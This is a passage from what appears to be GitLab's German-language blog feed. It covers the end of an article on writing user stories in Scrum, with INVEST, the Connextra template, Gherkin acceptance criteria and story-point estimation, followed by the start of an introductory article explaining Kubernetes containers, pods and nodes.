<p>Andersherum gilt auch: Nicht jedes Team, das auf User Stories setzt, hat die Philosophie voll verinnerlicht. Nur allzu leicht wird eine User Story zu einem einfachen „Requirement” - einer Auflistung gewünschter Funktionalitäten, bei der oftmals der Nutzen für Kund(innen) vergessen wird.</p>
<h2>Welche Rolle spielen User Stories in Agile?</h2>
<p>Aus dem Gesagten wird ersichtlich, warum User Stories in der agilen Entwicklung auf einen fruchtbaren Nährboden gestoßen sind. Beide legen den Fokus auf ständige Verbesserungen, Teamarbeit einschließlich einer engen Zusammenarbeit mit Kund(innen), und die Orientierung der Ergebnisse an klaren Bewertungskriterien.</p>
<p>User Stories fügen sich nahtlos in eine agile Organisation ein:</p>
<ul>
<li>Idealerweise kann eine User Story innerhalb eines einzigen Sprints abgearbeitet werden.</li>
<li>User Stories werden im Team festgelegt, besprochen und umgesetzt.</li>
<li>Ein klar definiertes Bewertungssystem liefert die Daten, die benötigt werden, um ein Projekt abzuschließen.</li>
</ul>
<p>Willst du User Stories in deinem Team nutzen? Wenn du mit Kanban arbeitest, brauchst du für deine Projektarbeit nichts zu verändern. Du kannst weiterhin mit deinen To-do-Listen arbeiten, richtest die Ziele aber nunmehr auf die Perspektive von Kund(innen) aus.</p>
<h2>User Stories in Scrum</h2>
<p>Wie gezeigt, sind User Stories sehr eng mit der agilen Methode verbunden. Und Scrum ist eine der zentralen Konzepte zur Umsetzung der agilen Methode. So erscheint es als selbstverständlich, dass User Stories auch in Scrum Anwendung finden.</p>
<p>Interessanterweise aber werden sie im <a href="https://scrumguides.org/docs/scrumguide/v2020/2020-Scrum-Guide-German.pdf">Scrum User Guide</a> nicht erwähnt. Stattdessen thematisiert dieser lediglich den „Product Backlog”, also</p>
<p><em>„alle Features, Funktionalitäten, Verbesserungen und Fehlerbehebungen, die das Produkt in Zukunft verändern sollen. Ein Product Backlog Item enthält eine Beschreibung, eine Reihenfolge, Schätzung und Bewertung als Attribute.” [Übersetzung aus dem Englischen]</em></p>
<p>Aus dem gerade Erwähnten dürfen keine falschen Schlussfolgerungen gezogen werden.</p>
<p>User Stories sind nicht die einzige Möglichkeit, mit Scrum kundenorientiert zu arbeiten. Trotzdem haben sie in Scrum ganz gewiss ihren Platz! Vielmehr möchte sich der Scrum-Guide nur nicht eindeutig auf ihre Verwendung festlegen und Scrum-Mastern maximale Freiheit einräumen.</p>
<h2>Wie schreibe ich eine gute User Story?</h2>
<p>Diese Frage stellt sich zu Beginn nahezu jedes neuen Sprints. Wenn User Stories intuitiv erfassbar und ihre Vorteile offensichtlich sind und wenn das Konzept an sich einfach zu erklären ist - warum fällt es dann schwer, es in die Praxis umzusetzen?</p>
<p>Wenn du dich mit dieser Frage beschäftigst, mache dir deswegen keine Vorwürfe. User Storys gibt es als methodische Idee bereits seit fast 30 Jahren. Innerhalb dieser Zeit hat es immer wieder Bemühungen gegeben, die Umsetzung zu vereinfachen - ein eindeutiges Indiz, dass sie nicht einfach ist.</p>
<p>Eine gute User Story hat bestimmte Qualitätskriterien. Diese werden wir uns im nächsten Abschnitt ansehen. Trotzdem glauben wir, dass es möglich ist, auf einer etwas allgemeineren Ebene zu erklären, was eine gute User Story ausmacht:</p>
<p>Damit eine User Story wirklich Nutzen für Kund(innen) generiert, muss sie ihrer Erlebniswelt so nahe wie möglich kommen. Deshalb werden viele der besten User Storys de facto von den Anwender(innen) verfasst - sei es nach einem intensiven Gespräch oder weil der Kontakt so eng ist, dass du sehr genau abschätzen kannst, was diese sich wünschen.</p>
<p>Das zweite wichtige Kriterium ist, diesen Nutzen so lebendig wie möglich darzustellen. Wir haben zu Anfang erwähnt, dass eine User Story keine Geschichte ist. Wenn wir sie zu Papier bringen, dann solltest du sie dir sehr plastisch vorstellen können: <em>So dreidimensional wie ein kleiner Film, der vor dem geistigen Auge abläuft, so kurz gefasst wir ein Haiku.</em> Dabei kannst du die Zufriedenheit bei Anwender(innen) förmlich spüren.</p>
<p>Auf einer formalen Ebene können das 3C-Modell und die INVEST-Methode weitere Hinweise liefern. In den folgenden beiden Abschnitten gehen wir genauer auf sie ein.</p>
<h3>Das 3C-Modell</h3>
<p>Das 3C-Modell entstand bereits früh in der User-Story-Geschichte. Es stammt noch aus einer Zeit, in der die Stories noch wortwörtlich „zu Papier” gebracht wurden. Für eine gute Story sollten in diesem Rahmenwerk folgende drei Punkte erfüllt sein:</p>
<ol>
<li><strong>C</strong>ard: Die User Story sollte so knapp bemessen sein, dass sie auf eine Karteikarte passt, jedoch ausführlich genug, dass sie diese Karte komplett ausfüllt.</li>
<li><strong>C</strong>onversation: Die User Story definiert einen Wunsch und Nutzen der Kund(innen). Die Bewertung und Umsetzung dieser Story erfolgt in enger Zusammenarbeit zwischen allen Teammitgliedern und Kund(innen). Intensive Gespräche sind dabei ein zentraler Bestandteil.</li>
<li><strong>C</strong>onfirmation: Es muss eine objektivierbare Möglichkeit bestehen, festzustellen, wann das Ziel erreicht ist.</li>
</ol>
<p>Das 3C-Modell ist angenehm knapp und bringt zur Geltung, was eine gute Story von einer weniger überzeugenden unterscheidet. Gleichzeitig liefert es wenig praktische Hilfe dabei, eine solche User Story zu schreiben.</p>
<h3>INVEST</h3>
<p>Auch bei dem Akronym INVEST handelt es sich um einen Katalog von Anforderungen an gutes User-Story-Schreiben. Es gibt Überschneidungen mit 3C, aber auch eigenständige Punkte.</p>
<p>Sehen wir uns die sechs Anforderungen von INVEST einzeln an:</p>
<ol>
<li><strong>I</strong>ndependent: Jede User Story sollte einen eigenständigen Wunsch von Kund(innen) abbilden. Sie sollte nicht von der Umsetzung anderer Wünsche abhängen.</li>
<li><strong>N</strong>egotiable: Die Bedürfnisse der Kund(innen) stehen immer im Vordergrund. Aber eine User Story lebt auch vom regen Austausch zwischen verschiedenen Abteilungen und Teams. Wichtiger als ein starres Festhalten an einmal gewählten Formulierungen ist ein ständiges Aushandeln und Neuverhandeln der Ziele sowie der Methoden zu ihrer Umsetzung.</li>
<li><strong>V</strong>aluable: Eine gute User Story muss einen echten, spürbaren Nutzen für Kunden liefern.</li>
<li><strong>E</strong>stimate: Manche User Storys werden sich schnell und problemlos lösen lassen. Andere sind komplex. Damit für die praktische Arbeit ausreichend Mitarbeiter(innen) mit dem erforderlichen Wissen zur Verfügung gestellt werden, bedarf es einer möglichst genauen Aufwandseinschätzung.</li>
<li><strong>S</strong>mall: Eine User Story sollte in einem Sprint beendet werden können. Sobald du mit einem signifikant höheren Aufwand rechnest, solltest du die Story aufteilen oder von Anfang an als Epic planen.</li>
<li><strong>T</strong>estable: Zur Bewertung einer User Story solltest du Abnahmekriterien festlegen können. Diese erlauben es dir, später zu bestimmen, ob du das zu Anfang gesteckte Ziel erreicht hast. Mit diesen Akzeptanzkriterien beschäftigen wir uns gleich.</li>
</ol>
<p>Wie du aus dieser Übersicht erkennen kannst, beziehen sich die über das 3C-Modell hinausgehenden Punkte von INVEST vor allem auf die Arbeit in Scrum. Aus diesem Grund ergibt INVEST Sinn für alle Scrum-Master, die sich intensiver mit User Stories auseinandersetzen wollen.</p>
<h2>Scrum User Story: Aufbau und Beispiel</h2>
<p>Gehen wir nun zu dem Punkt über, der in nahezu allen Artikeln und Übersichten zum Thema fehlt: Einem praktischen Beispiel für eine User Story in Scrum und wie du sie so schreiben kannst, dass sie zu einem wünschenswerten Ergebnis führt. Wir werden in diesem Artikel nicht näher auf ein Epic-Beispiel (lange User Story) eingehen. Denn auch, wenn die Zyklen sich hier über mehrere Sprints erstrecken, bleibt das Grundprinzip identisch.</p>
<p>Nehmen wir an, du hast aus Gesprächen mit Kund(innen) ermittelt, dass diese nicht zufrieden mit der Updatefunktion deines Produkts sind. Immer wieder werden sie während der Arbeit von Update-Meldungen gestört und die Durchführung der Updates beeinträchtigt zudem die Rechenkapazität. Sie würden gerne komfortabel bestimmen können, wann Updates installiert werden sollen oder sich gegen bestimmte Updates entscheiden.</p>
<p>Wie verläuft nun der Weg von diesem ersten Wunsch der Kund(innen) hin zum neuen Feature, beziehungsweise zum Befriedigen des Wunsches der Kund(innen)?</p>
<h3>User-Story-Beispiel Schritt 1: 5 Whys</h3>
<p>Das Konzept der User Story fußt auf der Schöpfung von Nutzen. Deshalb sollte das genaue Definieren dieses Nutzens höchste Priorität genießen. Wenn du den Nutzen nicht richtig erfasst, wird es deinem Team auch nicht gelingen, die zentrale emotionale Komponente des Prozesses - die „Story” - zufriedenstellend umzusetzen.</p>
<p>Hilfe bietet hier die 5-Why-Technik.</p>
<p>Fange damit an, was du erreichen möchtest: ein Update-Prozess, der von Kund(innen) nicht mehr als Belästigung empfunden wird, sondern als Unterstützung und Optimierung. Anschließend stelle dir selbst die Aufgabe, fünf gute Gründe zu finden, warum diese Story einen Nutzen stiftet.</p>
<p>Für diese User Story wäre zum Beispiel aus der Sicht von Kund(innen) denkbar:</p>
<ul>
<li>Damit ich bei voller Rechenleistung weiterarbeiten kann.</li>
<li>Damit ich zunächst sicherstellen kann, dass genug Speicherplatz zur Verfügung steht.</li>
<li>Damit ich die Entscheidung über Updates dann treffe, wenn ich mich damit auch wirklich auseinandersetzen kann und möchte.</li>
<li>Damit ich gezielt nur die Updates auswählen kann, die ich brauche.</li>
<li>Damit ich weiß, welche neuen Updates installiert wurden und immer auf dem neuesten Stand bleibe.</li>
</ul>
<p>Je mehr Details du hier erarbeiten kannst, umso deutlicher wird es für das Team als Ganzes (und manchmal sogar für die Kund(innen) selbst), worin genau die „Story” besteht.</p>
<h3>User-Story-Beispiel Schritt 2: Connextra-Template</h3>
<p>Wir haben es bereits erwähnt: User Stories sind eher wie Haikus als Geschichten. Und genau wie Haikus hilft es, bei der Formulierung einer User Story einem mehr oder weniger strengen Format zu folgen.</p>
<p>Rachel Davis von der Firma Connextra stellte fest, dass viele Mitarbeiter(innen) mit dem Schreiben einer guten User Story überfordert waren. Die inhärente Freiheit des Konzepts erwies sich als ein Problem. Wie so oft bot eine gezielte Limitierung der Optionen eine passende Lösung.</p>
<p>Davis schlug den folgenden User-Story-Aufbau vor:</p>
<p><em>Als [Rolle] möchte ich [Story], damit ich [Grund]</em></p>
<p>Das bedeutet in unserem User-Story-Beispiel:</p>
<p><em>Als Kundin möchte ich in Ruhe mit der Software arbeiten können, ohne von Updates unterbrochen zu werden. Ich möchte aber auch immer darüber informiert sein, was für Updates genau neu installiert werden und mich gegebenenfalls gegen sie entscheiden. Der Grund ist, dass ich es vorziehe, immer die Kontrolle über die Software zu behalten und immer auf dem neuesten Stand zu sein.</em></p>
<p>Dies ist leider nicht, wie das Template in der Praxis üblicherweise benutzt wird. Oftmals setzen viele Teams statt einer emotional gelebten „Story” einfach eine rein technische Funktionalität ein.</p>
<p>Dabei geht genau der wichtigste Teil verloren. Bei User Stories geht es um eine alternative Möglichkeit, mit dem Produkt zu arbeiten - nicht um eine neue Methode, die Arbeit aufzuteilen. Wenn du so vorgehst, nutzt du zwar formal einen passenden User-Story-Aufbau, arbeitest aber mit alten Methoden.</p>
<p>Das Connextra-Template verführt dazu, zu Mustern zurückzukehren, die du hinter dir lassen solltest. Wer es aber in seiner ursprünglichen Form verwendet, kann sehr großen Nutzen daraus ziehen.</p>
<h3>User-Story-Beispiel Schritt 3: Akzeptanzkriterien</h3>
<p>Jede gute Geschichte hat einen Anfang und ein Ende. Ohne das letzte Kapitel und ein zufriedenstellendes Finale wird selbst ein spannender Anfang und ein packender Mittelteil mit einer Enttäuschung enden.</p>
<p>Aus diesem Grund solltest du unbedingt gleich zu Anfang Akzeptanzkriterien für deine User Story festlegen. Diese setzen einen Rahmen dafür, wann eine User Story als beendet („done”) betrachtet werden kann. Zusammen mit dem vierten Schritt, dem Abschätzen, verankern sie User Stories fest im agilen Framework.</p>
<p>Die Agile Scrum Group meint <a href="https://agilescrumgroup.de/akzeptanzkriterien/">zum Thema Akzeptanzkriterien</a>:</p>
<p><em>„Akzeptanzkriterien geben einer User Story Details, sodass Sie wissen, wann eine User Story fertig ist. Akzeptanzkriterien entstehen aus Gesprächen zwischen dem Product Owner, den Stakeholdern und den Entwicklern, wenn Sie nach dem Scrum Framework arbeiten.”</em></p>
<p>Es empfiehlt sich bei dem Festlegen der Akzeptanzkriterien folgendes zu beachten:</p>
<ul>
<li>4-8 Akzeptanzkriterien pro User Story erscheinen den meisten Experten als eine sinnvolle Menge.</li>
<li>Suche nach objektiven Kriterien, insofern dies innerhalb der subjektiven Grenzen einer User Story möglich ist. Umso präziser sich feststellen lässt, ob ein Kriterium erfüllt wurde, um so besser.</li>
<li>Entscheidend bei User Storys ist die „Story”, die sich Kund(innen) wünschen, nicht, wie diese umgesetzt wird oder welche Features sie beinhaltet. Lege deshalb genau fest, „was” du erreichen möchtest - und überlasse das „wie” der Teamarbeit.</li>
</ul>
<p>Wie sehen Akzeptanzkriterien in der Praxis aus? Es gibt hier verschiedene Ansätze. Das beste Beispiel ist das sogenannte Gherkin-Format.</p>
<h3>Das Gherkin-Format</h3>
<p>Ebenso wie das Connextra-Template für den User-Story-Aufbau packt das Gherkin-Format die Formulierung von Akzeptanzkriterien für diese User Stories in ein fixes Format. Das erleichtert die Arbeit ungemein.</p>
<p>Das Format sieht folgendermaßen aus:</p>
<p><em>Gegeben &lt;Voraussetzung&gt;</em><br>
<em>wenn &lt;Ereignis&gt;</em><br>
<em>dann &lt;Ergebnis&gt;</em></p>
<p>So kann für viele potenzielle Fälle ein Szenario entworfen werden. Ein hervorragendes User-Story-Beispiel findet sich in einem ausführlichen <a href="https://www.digitale-verwaltung.de/SharedDocs/downloads/Webs/DV/DE/servicehandbuch.pdf?__blob=publicationFile&amp;v=3">PDF-Leitfaden des Bundesinnenministeriums</a>: Hier möchten Anwender(innen) ein „Passbild hochladen&quot;, damit ihre „Antragsdaten vollständig sind”:</p>
<p><em>„Szenario: Bilddatei hochladen</em><br>
<em>Gegeben ist, dass der Nutzende angemeldet ist und sich auf dem entsprechenden Formular befindet,</em><br>
<em>Wenn der Nutzende eine ausgewählte Datei hochlädt und es sich um eine Bilddatei handelt,</em><br>
<em>dann wird sie übernommen und dem Nutzenden als hochgeladen angezeigt und die Biometrie-Prüfung</em><br>
<em>wird angestoßen.</em></p>
<p><em>Szenario: Falsches Format hochladen</em><br>
<em>Gegeben ist, dass der Nutzende angemeldet ist und sich auf dem entsprechenden Formular befindet,</em><br>
<em>Wenn der Nutzende eine ausgewählte Datei hochlädt und es keine Bilddatei ist,</em><br>
<em>dann wird sie nicht übernommen und es wird ein Fehler angezeigt.”</em></p>
<h2>Agile Schätzung</h2>
<p>Die Welt der Softwareentwicklung ist nicht linear. Aufgaben werden nicht bequem der Reihe nach abgearbeitet. In der Regel gilt es, mit einer limitierten Menge an Arbeitszeit die von dir und deinem Team definierten User Stories gleichzeitig oder zeitversetzt umzusetzen. Das stellt die Planung vor anspruchsvolle Aufgaben.</p>
<p>Das Ziel der User-Story-Organisation besteht darin, zu verstehen, wie viel Aufwand jede einzelne Story erfordert. Je genauer du dies weißt, desto genauer wirst du in der Lage sein, die zu erledigenden Aufgaben auf die bestehenden Kapazitäten zu verteilen. Je gröber dein Verständnis, umso höher das Risiko, dass User Stories gar nicht oder nicht in der erforderlichen Qualität erledigt werden.</p>
<p>Dieses Risiko kann das Überleben des Unternehmens gefährden. Aus diesem Grund nimmt die agile Schätzung - also die Schätzung des Aufwands deiner User Stories - eine zentrale Rolle ein.</p>
<p>Du könntest nun meinen, dass es dafür eine einfache Lösung gibt: Du weist schlicht jeder User Story eine geschätzte Bearbeitungsdauer zu und verteilst die Arbeit anschließend so, dass sie innerhalb der geplanten Sprints erledigt werden kann.</p>
<p>In der Praxis haben sich andere Ansätze als effektiver erwiesen.</p>
<h2>Story Points: Aufwand vs. Arbeitszeit</h2>
<p>Zeit ist relativ. Was für das Universum als Ganzes gilt, hat auch in der Softwareentwicklung Bestand. Arbeitszeit präziseeinzuschätzen hängt von einer Vielzahl von Faktoren ab und kann sich sogar für erfahrene Personalplaner als äußerst schwierig erweisen. Gerade bei schnellen und zugleich zeitintensiven Branchen können selbst kleine Abweichungen massive Folgewirkungen haben und den gesamten Zeitplan durcheinander bringen.</p>
<p>Aus unserer Sicht sind zwei Punkte verantwortlich dafür, dass Zeit in der Planung kein idealer Bewertungsmaßstab ist:</p>
<ul>
<li>Die Komplexitäten verschiedener User Stories können sehr weit auseinanderklaffen. Das bedeutet nicht unbedingt, dass komplexe Aufgaben mehr Zeit benötigen. Möglicherweise erfordern sie lediglich, dass sich erfahrene, hochqualifizierte oder auf dieses Thema geschulte Teammitglieder um ihre Bearbeitung kümmern müssen.</li>
<li>Der Aufwand einer Aufgabe hängt ebenfalls von sehr unterschiedlichen Faktoren ab. Manche User Stories müssen ausgiebig im Team diskutiert werden, andere erfordern viel Zeit, um realisiert zu werden, obwohl sie keineswegs „schwierig” sind. Andere können nur in ständiger Rücksprache mit Kund(innen) umgesetzt werden. All das beeinflusst die Arbeitszeit, teilweise auf eine Art und Weise, die nur schwer vorherzusehen ist.</li>
</ul>
<p>Aus diesem Grund hat sich eine andere Einheit zur Einschätzung herauskristallisiert: Story Points. Dabei handelt es sich um ein Maß, das den Aufwand einer User Story auf eine nicht direkt mit der erforderlichen Zeit verbundene Weise zu bestimmen versucht: Je mehr Story Points eine User Story erfordert, umso höher der Aufwand.</p>
<h2>Story Points in der Schätzung</h2>
<p>Story Points sind Aufwandspunkte. Sie können in erfahrenen Teams zu sehr genauen Schätzungen führen. Trotzdem stehen sie niemals für absolute Werte und sind im Gesamtkontext aller aktuell anstehenden User Storys zu sehen.</p>
<p>Die beliebtesten Konzepte basieren nahezu alle grob auf der Fibonacci-Folge. In dieser Sequenz entsteht die jeweils nächste Zahl aus der Summe der beiden vorangegangenen. Die ersten 13 Einträge dieser Folge sind demzufolge:</p>
<p>0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144</p>
<p>In der User-Story-Planung werden diese Zahlen ein wenig geglättet. So entsteht zum Beispiel die folgende Kette:</p>
<p>0, 1, 2, 3, 4, 5, 8, 13, 20, 30, 50, 100</p>
<p>Wir haben auch Konzepte gefunden, in der zwischen 0 und 1 noch ein 0,5 eingefügt und statt einer 50 eine 40 gewählt wurde. Das aber sind Feinheiten, die das Konzept als solches nicht wesentlich  tangieren.</p>
<p>Anschließend weist das Team den User Stories einen dieser Zahlenwerte zu. Daraus entsteht eine Reihenfolge der Stories nach Aufwand. Die folgenden Methoden zur Zuweisung von Story Points sind üblich:</p>
<h3>Planning Poker</h3>
<p>Beim Planning Poker weisen die Teammitglieder jeder User Story auf einer verdeckt gehaltenen Karte, je nach dem geschätzten Aufwand, Story Points zwischen 0 und 100 zu. Anschließend werden die Karten offen auf den Tisch gelegt und nach Zahl der Story Points auf Stapel verteilt.</p>
<p>Der Stapel mit den meisten Karten ist der „Sieger” und die User Story erhält die damit verbundene Zahl an Punkten, beispielsweise 20.</p>
<p>Das Planning Poker ist eine elegante Methode der Aufwandsschätzung, die letzten Endes aber natürlich einer simplen Abstimmung gleichkommt.</p>
<p>Das Konzept der Planung durch T-Shirtgrößen, was sich ebenfalls oft in einschlägigen Artikeln findet, ist aus unserer Sicht keine eigenständige Methode, sondern eine modifizierte Variante des Pokers. Gleiches gilt für das „Bucket System” (ein Eimer, in den die Karten geschmissen werden) oder das „Dot Voting” (mit kleinen Klebepunkten).</p>
<h3>Affinity Mapping</h3>
<p>Das Affinity Mapping ist eine der wenigen Alternativen zum Planning Poker. Es besteht aus zwei Phasen:</p>
<ol>
<li>Zunächst gruppieren alle Teammitglieder gemeinschaftlich die Aufgaben, die einen ähnlichen Komplexitätsgrad aufweisen. Die Einteilung erfolgt durch Diskussion innerhalb des Teams.</li>
<li>Anschließend werden den User Stories innerhalb der Gruppe, entweder durch weitere Gespräche oder Methoden wie Planning Poker, Story Points zugewiesen. So entsteht eine Reihenfolge, bei der die aufwandsintensiven Stories ganz oben, die vermutlich weniger anspruchsvollen weiter unten stehen.</li>
</ol>
<h2>Wer schreibt User Stories?</h2>
<p>In der Vergangenheit wurde die Planung und Aufgabenzuweisung üblicherweise von einer zentralen Instanz oder einer verantwortlichen Person vorgenommen. Bis heute hat sich diese Arbeitsverteilung in vielen Unternehmen gehalten. Sogar Scrum, ein teamorientiertes Konzept innerhalb der teamorientierten Agile-Management-Philosophie, arbeitet bis heute mit einem Scrum-Master.</p>
<p>Das Schreiben von User Stories unterscheidet sich hier deutlich. Zwar wird die erste Version der User Story oftmals noch von einem erfahrenen Teammitglied verfasst, beispielsweise nach einem ausführlichen Austausch mit Kund(innen). Hier schließt sich direkt die Phase der „Verhandlungen” an, also des Austauschs zwischen allen Beteiligten.</p>
<p>Somit werden User Stories zwar noch sehr oft von Einzelnen vorbereitet, geschrieben werden sie aber von der Gruppe.</p>
<p>Genau das macht sie auch zu einem so großartigen Tool. Denn wie jeder Autor weiß, ist eine Geschichte nur dann gut, wenn man sich mit ihr identifizieren kann.</p>
<p><em>Willst Du mehr dazu wissen, wie Deine persönliche User Story in Scrum zum Erfolg wird? Dann empfehlen wir Dir unseren Leitfaden zur <a href="https://docs.gitlab.com/ee/tutorials/scrum_events/">Verwendung von Scrum in GitLab</a>. Oder informiere Dich dazu, warum GitLab ganz allgemein die führende <a href="https://about.gitlab.com/de-de/platform/">DevSecOps-Plattform</a> ist.</em></p>
]]></content>
        <author>
            <name>GitLab Germany Team</name>
            <uri>https://about.gitlab.com/blog/authors/gitlab-germany team</uri>
        </author>
        <published>2025-05-20T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Was ist Kubernetes?]]></title>
        <id>https://about.gitlab.com/de-de/blog/definition-what-is-kubernetes/</id>
        <link href="https://about.gitlab.com/de-de/blog/definition-what-is-kubernetes/"/>
        <updated>2025-05-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<h1>Kubernetes: Einfach erklärt</h1>
<p>Kubernetes hat sich weltweit als führende Technologie in der Container-Orchestrierung durchgesetzt. Die Vielfalt an Funktionalitäten, die Kubernetes bereitstellt, ist aber nicht immer leicht zu nutzen. Lukas Gentele schreibt auf entwickler.de, dass &quot;von vielen Entwicklern Kubernetes als zu komplex und kaum zu beherrschen wahrgenommen wird&quot;. Damit spricht er aus, was viele denken.</p>
<p>Ironischerweise besteht der Hauptnutzen von Kubernetes darin, viele Anwendungen überhaupt erst beherrschbar zu machen. Warum das kein Widerspruch ist, was Kubernetes ist und wie es funktioniert, erfährst du in diesem Artikel.</p>
<h2>Inhaltsverzeichnis</h2>
<ul>
<li><a href="#kubernetes-einfach-erkl%C3%A4rt">Kubernetes: Einfach erklärt</a>
<ul>
<li><a href="#kubernetes-container-kein-pod-kommt-ohne-aus">Kubernetes-Container: Kein Pod kommt ohne aus</a></li>
<li><a href="#container-%E2%80%93-%C3%BCbersichtlich-kollaborativ%2C-effizient">Container – übersichtlich, kollaborativ, effizient</a></li>
<li><a href="#pod-container-kombinationen">Pod: Container Kombinationen</a></li>
<li><a href="#orchestrierung-container-kontrollieren">Orchestrierung: Container kontrollieren</a></li>
<li><a href="#abstraktion-und-zustandsorientierung">Abstraktion und Zustandsorientierung</a></li>
<li><a href="#node-kubelet%2C-cluster-die-welt-von-kubernetes">Node, Kubelet, Cluster: Die Welt von Kubernetes</a></li>
<li><a href="#wie-funktioniert-kubernetes%3F">Wie funktioniert Kubernetes?</a></li>
<li><a href="#kubernetes-in-der-praxis">Kubernetes in der Praxis</a></li>
<li><a href="#die-vorteile-von-kubernetes">Die Vorteile von Kubernetes</a></li>
<li><a href="#wie-funktioniert-die-kubernetes-integration-unter-gitlab">Wie funktioniert die Kubernetes-Integration unter GitLab?</a></li>
<li><a href="#faqs-zu-kubernetes-(k8s)">FAQs zu Kubernetes (K8s)</a></li>
</ul>
</li>
</ul>
<h2>Kubernetes-Container: Kein Pod kommt ohne aus</h2>
<p>Wenn wir ein Verständnis über Kubernetes vermitteln wollen, kommen wir an einem Bestandteil nicht vorbei – dem Container.</p>
<p>Ähnlich wie Betriebssysteme wurden Anwendungen noch bis vor wenigen Jahre als Monolith entwickelt. Das bedeutet, Anwendungen bestanden aus einer einzigen unteilbaren Codebasis, welche alle Informationen enthält, die zum Betrieb notwendig sind.</p>
<p>Auch, wenn nur wenige Teile der Anwendung benötigt wurden, musste trotzdem das gesamte Programm geladen werden. Das verbrauchte offensichtlich viele Ressourcen, das System wurde langsam und fehleranfällig.</p>
<h2>Container – übersichtlich, kollaborativ, effizient</h2>
<p>Erste Versuche, die Nachteile einer monolithischen Architektur zu umgehen und Teile eines Programms gezielt zu isolieren, entstanden in den späten 70ern und frühen 80er-Jahren. Doch erst Docker, welches 2013 veröffentlicht wurde, verhalf dem Gedanken auf breiter Basis zum Durchbruch.</p>
<p>Die verschiedenen Funktionalitäten einer Anwendung werden mit einer Software wie Docker isoliert und in Pakete aufgeteilt. Diese Container enthalten sämtliche Daten, Software und Bibliotheken, die zum Betrieb genau dieser Funktionalitäten erforderlich sind.</p>
<p>Die Container können eigenständig genutzt oder getestet werden. Aber man kann sie auch zu einer größeren Architektur verknüpfen und &quot;aufeinanderstapeln&quot; wie Container (die Idee entstand <a href="https://www.computerwoche.de/a/der-niedergang-von-docker,3551769">laut dem ehemaligen Docker-CEO Ben Golub</a> &quot;als wir all die Containerschiffe im Hafen von Oakland einlaufen sahen&quot;).</p>
<p>Früher als monolithische Anwendungen entwickelt, werden Programme heute als Zusammensetzungen einzelner Container betrachtet. Anstatt den gesamten Code zu laden, werden nur die Container verwendet, die für die jeweils auszuführenden Aufgaben notwendig sind. Dadurch, dass die Container bereits alle Daten enthalten, die benötigt werden, um das Programm zu starten, wird es deutlich einfacher, einzelne Komponenten von einem Server mit Betriebssystem A auf einen anderen mit Betriebssystem B zu verschieben.</p>
<h2>Pod: Container Kombinationen</h2>
<p>Ausgehend von den einzelnen Docker-Containern bilden Anwender(innen) nun Gruppen aus Containern, die im Rahmen einer bestimmten Anwendung oder eines größeren Systems zusammenarbeiten. Jede dieser virtuellen Gruppen bezeichnet man als &quot;Pod&quot;.</p>
<p>Im Beispiel eines E-Commerces Unternehmen, kann nun ein Pod die Benutzeroberfläche enthalten, während andere Pods die Bezahlung, oder die Lieferung abwickeln. Die Vorteile sind klar: Dieser Ansatz ist schlanker und robuster als der monolithische und lässt sich konsistent auf verschiedenen Betriebssystemen verwenden. Gerade in der Softwareentwicklung bedeutete diese Zuverlässigkeit einen deutlichen Sprung nach vorne.</p>
<h2>Orchestrierung: Container kontrollieren</h2>
<p>Gleichzeitig erfordert eine Anwendung, die aus mehreren Containern zusammengesetzt ist, ein höheres Maß an Management.</p>
<p>Was passiert beispielsweise, wenn ein Pod ausfällt? Wie geht man mit Fehlern in einem Pod um? Wo sollen die Pods ausgeführt werden? Wie wirkt sich die Containerisierung auf die Entwicklung neuer Funktionalitäten aus? Wie funktioniert überhaupt die ständige Neuverteilung verschiedener Pods innerhalb derselben Anwendung während des laufenden Betriebs?</p>
<p>Diese Fragen werden dringlicher, je mehr Container eine Anwendung verwendet. Und sie werden geradezu kritisch in einer Umgebung, in der sehr viele Nutzer(innen) auf eine Vielzahl containerisierter Anwendungen zugreifen sollen.</p>
<p>Wenn es keinen monolithischen Code mehr gibt, welcher festlegt, in welchen Situationen bestimmte Kombinationen zur Anwendung kommen, werden neue Prinzipien zur Aktivierung benötigt. Darüber hinaus ergeben sich durch die Containerisierung eine Vielzahl spezifischer Herausforderungen.</p>
<p>Die Lösungsansätze, die sich mit dieser Herausforderung beschäftigen, werden unter dem Begriff Container-Orchestrierung zusammengefasst. Einfach erklärt ist Kubernetes das derzeit wohl leistungsfähigste und effizienteste Orchestrierungs-Tool.</p>
<h2>Abstraktion und Zustandsorientierung</h2>
<p>Vor der Einführung der Containerisierung, die mit Docker ihren Durchbruch fand, waren Programme im Wesentlichen Stories, die durch ihren Code zusammengehalten wurden. Mit Containern wird dieses Narrativ jedoch aufgebrochen und in seine einzelnen Bestandteile zerlegt. Damit aus diesen Teilen wieder eine sinnvolle Geschichte entsteht, benötigt man einen „roten Faden&quot;, der die einzelnen Komponenten zusammenführt.</p>
<p>Aus der Perspektive von Kubernetes werden Anwendungen schlicht als „Arbeitslasten&quot; (Workloads) betrachtet – also Dienste, die eine bestimmte Menge an Systemressourcen beanspruchen. Pods fungieren dabei als Abstraktionen, da der Zusammenhang zwischen den einzelnen Pods jederzeit aufgelöst und neu gestaltet werden kann.</p>
<p>Das bedeutet, dass du jederzeit eine bestehende Struktur aufbrechen und nach Belieben neu zusammensetzen kannst. Mit denselben Komponenten lässt sich so etwas völlig Neues erschaffen.</p>
<p>Wichtig bei der Wahl der geeigneten Abstraktion ist der Zustand (State), der durch die Kombination oder Aktivierung von Nutzlasten im System entsteht. Manche Zustände sind gewünscht, andere nicht.</p>
<p>Wenn man Kubernetes einfach definieren würde, würde man sagen Kubernetes stellt sicher, dass alle Komponenten im richtigen Zustand sind.</p>
<h2>Node, Kubelet, Cluster: Die Welt von Kubernetes</h2>
<p>In einem System werden Pods, also funktional zusammengehörige Kombinationen von Kubernetes-Containern auf sogenannte Knoten (englisch: Nodes) verteilt. Ein Knoten kann sowohl ein physischer Rechner (PC) als auch eine virtuelle Maschine (VM) sein.</p>
<p>Es gibt zwei Formen von Knoten:</p>
<ul>
<li>Die sogenannten Master-Nodes, welche die Steuerung und Kontrolle übernehmen sowie</li>
<li>die Work-Nodes, auf denen die Anwendungen liegen, welche die Funktionalität einer Anwendung übernehmen.</li>
</ul>
<p>Die Kommunikation zwischen diesen Ebenen wird von kleinen Managementagenten übernommen, den Kubelets.</p>
<p>Schließlich kann man mehrere Knoten zu Kubernetes-Clustern aufsetzen. Diese bilden dann die Umgebung ab, die Kubernetes verwaltet und auf welcher Kubernetes läuft.</p>
